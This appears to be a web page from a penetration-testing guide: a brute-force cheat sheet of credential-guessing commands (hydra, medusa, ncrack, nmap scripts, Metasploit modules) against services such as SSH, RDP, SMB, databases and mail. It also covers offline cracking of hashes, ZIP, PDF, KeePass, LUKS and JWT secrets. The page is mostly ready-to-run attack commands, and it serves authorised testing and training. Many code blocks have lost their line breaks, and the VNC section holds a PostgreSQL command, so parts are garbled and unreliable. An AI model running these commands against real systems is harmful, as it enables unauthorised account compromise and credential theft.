> For the complete documentation index, see [llms.txt](https://guide.offsecnewbie.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://guide.offsecnewbie.com/password-cracking/untitled.md). # Brute Force - CheatSheet **Wait a second, have you tried to use default credentials??** **Search in google** for default credentials of the technology that is being used, or **try this links**: * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com/) ## Service Ordered alphabetically by service name. ### AFP ``` nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_loginmsf> set BLANK_PASSWORDS truemsf> set USER_AS_PASS truemsf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ``` nmap --script ajp-brute -p 8009 ``` ### Cassandra ``` nmap --script cassandra-brute -p 9160 ``` ### CouchDB ``` msf> use auxiliary/scanner/couchdb/couchdb_login ``` ### FTP ``` hydra -l root -P passwords.txt [-t 32] ftpncrack -p 21 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` ### HTTP Generic Brute ### HTTP Basic Auth ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` ### HTTP - Post Form ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V ``` For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ``` cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` ### IMAP ``` hydra -l USERNAME -P /path/to/passwords.txt -f imap -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -Vnmap -sV --script imap-brute -p ``` ### IRC ``` nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ``` nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### LDAP ``` nmap --script ldap-brute -p 389 ``` ### Mongo ``` nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` ### MySQL ``` hydra -L usernames.txt -P pass.txt mysqlmsf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false ``` ### OracleSQL ``` patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017./odat.py passwordguesser -s $SERVER -d $SID./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt#msf1msf> use admin/oracle/oracle_loginmsf> set RHOSTS msf> set RPORT 1521msf> set SID #msf2, this option uses nmap and it fails sometimes for some reasonmsf> use scanner/oracle/oracle_loginmsf> set RHOSTS msf> set RPORTS 1521msf> set SID #nmap fails sometimes for some reson executing this scriptnmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` In order to use **oracle\_login** with **patator** you need to **install**: ``` pip3 install cx_Oracle --upgrade ``` [Offline OracleSQL hash bruteforce](https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): ``` nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ``` hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` ### PostgreSQL ``` hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgresmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgresncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txtuse auxiliary/scanner/postgres/postgres_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ### PPTP ``` cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ``` ncrack -vv --user -P pwds.txt rdp://hydra -V -f -L -P rdp:// ``` ### Redis ``` msf> use auxiliary/scanner/redis/redis_loginnmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis ``` ### Rexec ``` hydra -l -P rexec:// -v -V ``` ### Rlogin ``` hydra -l -P rlogin:// -v -V ``` ### Rsh ``` hydra -L rsh:// -v -V ``` ### Rsync ``` nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ``` hydra -l root -P passwords.txt rtsp ``` ### SNMP ``` msf> use auxiliary/scanner/snmp/snmp_loginnmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp_onesixtyone.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ``` nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` ### SMTP ``` hydra -l -P /path/to/passwords.txt smtp -Vhydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` ### SQL Server ``` #Use the NetBIOS name of the machine as domainhydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssqlmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssqlnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be carefull with the number of password in the list, this could block accountsmsf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ``` hydra -l root -P passwords.txt [-t 32] sshncrack -p 22 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M ssh ``` ### Telnet ``` hydra -l root -P passwords.txt [-t 32] telnetncrack -p 23 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` ### VNC ``` hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vncmedusa -h –u root -P /root/Desktop/pass.txt –M vncncrack -V --user root -P /root/Desktop/pass.txt :>POR>Tpatator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ## Local ### Online cracking databases * * (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) * * * (Hashes and file hashes) * * * (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * Check this out before trying to bruteforce a Hash. ### Generic #### Hash-identifier ### John ``` john --rule --wordlist=/usr/share/wordlists/rockyou.txt file_with_hash.txt ``` #### unshadow ``` unshadow passwd.txt shadow.txt > tojohn.txt ``` ### ZIP ``` fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ``` zip2john file.zip > zip.johnjohn zip.john ``` ### 7z ``` cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ``` #Download and install requirements for 7z2johnwget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-get install libcompress-raw-lzma-perl./7z2john.pl file.7z > 7zhash.john ``` ### PDF ``` apt-get install pdfcrackpdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt#pdf2john didnt worked well, john didnt know which hash type was# To permanently decrypt the pdfsudo apt-get install qpdfqpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### JWT ``` git clone https://github.com/Sjord/jwtcrack.gitcd jwtcrack#Bruteforce using crackjwt.pypython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt#Bruteforce using johnpython jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.johnjohn jwt.john #It does not work with Kali-John ``` ### NTLM cracking ``` Format:USUARIO:ID:HASH_LM:HASH_NT:::jhon --wordlist=/usr/share/wordlists/rockyou.txt --fomrat=NT file_NTLM.hasheshashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ``` sudo apt-get install -y kpcli #Install keepass tools like keepass2johnkeepass2john file.kdbx > hash #The keepass is only using passwordkeepass2john -k file.kdbx > hash # The keepas is also using a file as a needed credential#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Lucks image #### Method 1 Install: ``` bruteforce-luks -f ./list.txt ./backup.imgcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt ``` #### Method 2 ``` cryptsetup luksDump backup.img #Check that the payload offset is set to 4096dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1hashcat -m 14600 luckshash cryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt ``` ### Mysql ``` #John hash format:$mysqlna$*dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` **Hash examples:** ### Hash-identifier ### Crunch ``` crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabetcrunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)@ Lower case alpha characters, Upper case alpha characters% Numeric characters^ Special characters including spaccrunch 6 8 -t ,@@^^%% ``` ### Cewl ``` cewl --with-numbers -d 2 -m 5 -w words.txt http://$ip/ ``` ### John mutation Read ***/etc/john/john.conf*** and configure it ``` john --wordlist=words.txt --rules --stdout > w_mutated.txtjohn --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat ``` hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` Cracking Linux Hashes - /etc/shadow file ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` Cracking Windows Hashes ``` 3000 | LM | Operating-Systems1000 | NTLM | Operating-Systems ``` Cracking Common Application Hashes ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ```